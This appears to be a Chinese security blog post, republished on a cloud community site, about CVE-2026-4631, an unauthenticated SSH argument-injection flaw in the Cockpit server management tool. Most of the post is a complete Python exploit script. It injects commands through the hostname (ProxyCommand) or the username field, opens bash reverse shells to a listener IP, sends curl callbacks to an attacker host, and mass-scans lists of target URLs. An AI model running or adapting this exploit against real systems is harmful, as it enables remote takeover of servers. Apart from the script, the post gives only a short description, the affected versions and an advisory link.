首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2026-4631|Cockpit Web化管理工具存在远程代码执行漏洞(POC)

CVE-2026-4631|Cockpit Web化管理工具存在远程代码执行漏洞(POC)

作者头像
信安百科
发布2026-05-26 20:14:26
发布2026-05-26 20:14:26
1010
举报
文章被收录于专栏:信安百科信安百科

0x00 前言

Cockpit 是一款开源的基于 Web 的服务器管理工具,专为简化 Linux 服务器的管理而设计。它提供直观的图形界面,允许管理员通过浏览器轻松执行系统管理任务,包括监控系统资源、管理用户账户、配置网络设置、查看日志文件、管理容器和虚拟机等。Cockpit 支持多种主流 Linux 发行版(如 RHEL、CentOS、Fedora、Debian 和 Ubuntu),并且可以管理本地和远程服务器,无需复杂的命令行操作,特别适合需要直观管理界面的系统管理员使用。其模块化架构还支持通过插件扩展功能,使其成为灵活且功能强大的服务器管理解决方案。

0x01 漏洞描述

由于远程登录模块将Web端传入的用户名、主机名未经校验直接拼接为SSH命令行参数,且未使用--分隔符隔离选项与目标参数。攻击者无需身份凭证,仅构造恶意HTTP请求即可触发 SSH 参数注入,在目标服务器上以服务权限执行任意系统命令,从而完全控制服务器。

0x02 CVE编号

CVE-2026-4631

0x03 影响版本

326 <= Cockpit < 360

0x04 漏洞详情

POC:

https://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE

代码语言:javascript
复制
import base64
import argparse
import requests
import urllib3
import urllib.parse
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

RED    = "\033[91m"
GREEN  = "\033[92m"
YELLOW = "\033[93m"
CYAN   = "\033[96m"
BOLD   = "\033[1m"
RESET  = "\033[0m"

def banner():
    print(f"""{CYAN}{BOLD}
╔══════════════════════════════════════════════════════════════╗
║         CVE-2026-4631  -  Cockpit SSH Argument Injection     ║
║         Unauthenticated Remote Code Execution                ║
╚══════════════════════════════════════════════════════════════╝


            @intx0x80


{RESET}""")

def info(msg):  print(f"{CYAN}[*]{RESET} {msg}")
def ok(msg):    print(f"{GREEN}[+]{RESET} {msg}")
def warn(msg):  print(f"{YELLOW}[!]{RESET} {msg}")
def err(msg):   print(f"{RED}[-]{RESET} {msg}")
def die(msg):   err(msg); sys.exit(1)

def make_auth_header(username="invalid", password="PWN"):
    creds = f"{username}:{password}"
    encoded = base64.b64encode(creds.encode()).decode()
    return f"Basic {encoded}"

def exploit_hostname(target, session, command):
    print(f"\n{YELLOW}[*] Attack vector: Hostname ProxyCommand injection{RESET}")
    encoded_cmd = urllib.parse.quote(command, safe="")
    url = f"{target}/cockpit+=-oProxyCommand={encoded_cmd}/login"

    print(f"[*] Request: GET {url}")

    headers = {
        "Authorization": make_auth_header(),
        "Referer": f"{target}/",
        "Origin": target,
    }

    try:
        r = session.get(url, headers=headers, timeout=10)
        print(f"[*] Response: {r.status_code}")

        if r.status_code in (200, 401, 403, 500):
            print("[+] Request delivered - SSH process spawned")
            print("[+] ProxyCommand executed (if OpenSSH < 9.6 on target)")

        snippet = r.text[:200].strip()
        if snippet:
            print(f"[*] Body snippet: {snippet}")

    except requests.exceptions.ConnectionError:
        print("[+] Connection reset - server may have crashed (command ran)")
    except Exception as e:
        print(f"[-] Error: {e}")

def exploit_username(target, session, command, ssh_host="127.0.0.1"):
    print(f"\n{YELLOW}[*] Attack vector Username %%r token injection{RESET}")
    print(f"[*] Command: {command}")

    payload_user = f"x; {command}; #"
    print(f"[*] Username payload: {payload_user}")

    headers = {
        "Authorization": make_auth_header(username=payload_user, password="invalid"),
        "Referer": f"{target}/",
        "Origin": target,
    }

    url = f"{target}/cockpit+={ssh_host}/login"

    try:
        r = session.get(url, headers=headers, timeout=10)
        tm = r.elapsed.total_seconds()
        # print(f"[+] Time {tm}")
        # print(f"[*] Response: {r.status_code}")
        if r.status_code in (200, 401, 403, 500):
            print("[+] Request delivered")
        else:
            print(f"[-] Unexpected status code: {r.status_code}")

    except requests.exceptions.ConnectionError:
        print("[+] Connection reset")
    except Exception as e:
        print(f"[-] Error: {e}")

def detect_time_based(target, session, command, ssh_host="127.0.0.1"):
    print(f"{GREEN}[+] Scanning target: {target}{RESET}")
    payload_user = f"x; {command}; #"

    headers = {
        "Authorization": make_auth_header(username=payload_user, password="invalid"),
        "Referer": f"{target}/",
        "Origin": target,
    }

    url = f"{target}/cockpit+={ssh_host}/login"

    try:
        r = session.get(url, headers=headers, timeout=10)
        tm = r.elapsed.total_seconds()

        if tm >= 5:
            print(f"{GREEN}[+] Vulnerable (Time-based): {target} (Duration: {tm:.2f}s){RESET}")
        else:
            print(f"[-] Not Vulnerable (Time-based): {target} (Duration: {tm:.2f}s)")

        if r.status_code in (200, 401, 403, 500):
            pass 

    except requests.exceptions.ConnectionError:
        print("[+] Connection reset")
    except Exception as e:
        print(f"[-] Error: {e}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-4631")
    parser.add_argument("--target", required=False, help="Cockpit URL e.g. http://127.0.0.1:9090")
    parser.add_argument("--vector", choices=["hostname", "username"], help="Injection vector")
    parser.add_argument("--cmd", help="Command to execute")
    parser.add_argument("--callback", help="OOB callback URL (hostname vector or DNS lookup)")
    parser.add_argument("--lhost", help="Reverse shell listener IP")
    parser.add_argument("--lport", type=int, default=4444, help="Reverse shell port (default 4444)")
    parser.add_argument("--ssh-host", default="127.0.0.1", help="SSH host for username vector")
    parser.add_argument("--file", default="url.txt", help="File containing URLs to scan")

    args = parser.parse_args()

    if not args.target and not args.file:
        die("[-] Error: Either --target or --file is required.")

    if not args.vector:
        print("\n[*] Detection complete. Use --vector to exploit.")
        return

    session = requests.Session()
    session.verify = False

    if args.vector == "hostname":
        if args.lhost:
            cmd = f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"
        elif args.callback:
            cmd = f"curl `hostname`.{args.callback}"
        elif args.cmd:
            cmd = args.cmd
        else:
            die("[-] Hostname vector needs --cmd, --callback, or --lhost")

        if args.target:
            target = args.target.rstrip("/")
            exploit_hostname(target, session, cmd)
        else:
            die("[-] Hostname vector requires --target")

    elif args.vector == "username":
        if args.target:
            target = args.target.rstrip("/")

            if args.callback:
                cmd = f"curl {args.callback}"
                exploit_username(target, session, cmd, args.ssh_host)

            elif args.cmd:
                exploit_username(target, session, args.cmd, args.ssh_host)

            elif args.lhost:
                cmd = f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"
                exploit_username(target, session, cmd, args.ssh_host)

            else:
                print("[*] No command/callback provided. Running time-based detection...")
                detect_time_based(target, session, "sleep 5", args.ssh_host)

        elif args.file:
            try:
                with open(args.file, "r") as f:
                    urls = [line.strip() for line in f if line.strip()]
            except FileNotFoundError:
                die(f"[-] File not found: {args.file}")

            if args.callback:
                print(f"{GREEN}[+] Scanning {len(urls)} targets with callback: {args.callback}{RESET}")
                for target in urls:
                    linker = target.strip().split(":")[1].replace("//", "") if ":" in target else "unknown"
                    cmd = f"curl `hostname`.{linker}-{args.callback}"
                    exploit_username(target, session, cmd, args.ssh_host)

            else:
                print(f"{YELLOW}[+] Scanning {len(urls)} targets for time-based vulnerability...{RESET}")
                for target in urls:
                    detect_time_based(target, session, "sleep 5", args.ssh_host)

if __name__ == "__main__":
    banner()
    main()

0x05 参考链接

https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-05-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档